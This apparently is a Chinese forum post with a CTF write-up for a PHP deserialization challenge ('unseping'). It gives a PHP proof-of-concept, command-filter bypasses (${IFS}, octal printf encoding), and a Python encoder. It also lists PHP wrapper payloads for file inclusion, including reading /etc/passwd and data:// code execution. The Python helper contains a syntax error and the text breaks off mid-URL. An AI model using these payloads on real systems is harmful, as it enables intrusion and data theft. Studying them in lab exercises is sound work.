ToB企服应用市场:ToB评测及商务社交产业平台
标题:
攻防世界web 难度1新手练习
[打印本页]
作者:
莱莱
时间:
2022-11-18 02:33
标题:
攻防世界web 难度1新手练习
unseping
[/code]poc
[code]<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
//流程: 64解码,反序列化出一条实例化语句,调用了构造方法完成初始化,继续调用wakeup,将this->args中进行waf函数过滤。代码继续执行,结束之时,调用destruct函数,满足if 进入调用构造函数,间接调用ping函数中的exec。
/*
绕过:因为过滤了很多命令,这里查阅资料到一下绕过方式。
单引号、双引号、${Z}。例如ls 可以 'l""'
空格绕过:${IFS}
/绕过:$(printf "\154\163")ls命令,这个编码后可以拼接
"\154\163" 就是ls
把 cat$[IFS]flag_1s_here/xx.php 转成ascii 然后8进制 替换地方
最终$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")
然后就和以前一样就行了,payload
*/
复制代码
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//对字符先转换为ASCII码,再转换为八进制
lett = oct(ord(i))
//这个主要是为了将八进制前面的0o替换掉
lett=str(lett).replace("0o","")
arr.append(lett)
sym = "\"
//将所有的八进制组合,最终的结果第一个地方应该再添加一个\
ccc=sym.join(arr)
print(ccc)
复制代码
Include
CTF常用伪协议总结_Asionm的博客-CSDN博客
Php伪协议:
<ul>file://协议。用来读取本地的文件,当用于文件读取函数时可以用。
常见检测是否存在漏洞写法:
xxx/?file=file:///etc/passwd
此协议不受allow_url_fopen,allow_url_include配置影响
php:input协议。此协议一般用于输入getshell的代码。- 在get处填上php://input如下
xxx.xxx/?cmd=php://input
然后用hackbar或者其他工具,postPHP代码进行检验,如
此协议受allow_url_include配置影响
php://filter协议。此协议一般用来查看源码
一般用法如下
xxx.xxx/?file=php://filter/read=convert.base64-encode/resource=index.php
出来的是base64码需要进行解码
此协议不受allow_url_fopen,allow_url_include配置影响
data://协议。需要allow_url_fopen,allow_url_include均为on
这是一个输入流执行的协议,它可以向服务器输入数据,而服务器也会执行。常用代码如下:
<a href="http://127.0.0.1/include.php?file=data://text/plain,%3C?php%20phpinfo();?" target="_blank" rel="noopener">http://127.0.0.1/include.php?file=data://text/plain,
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4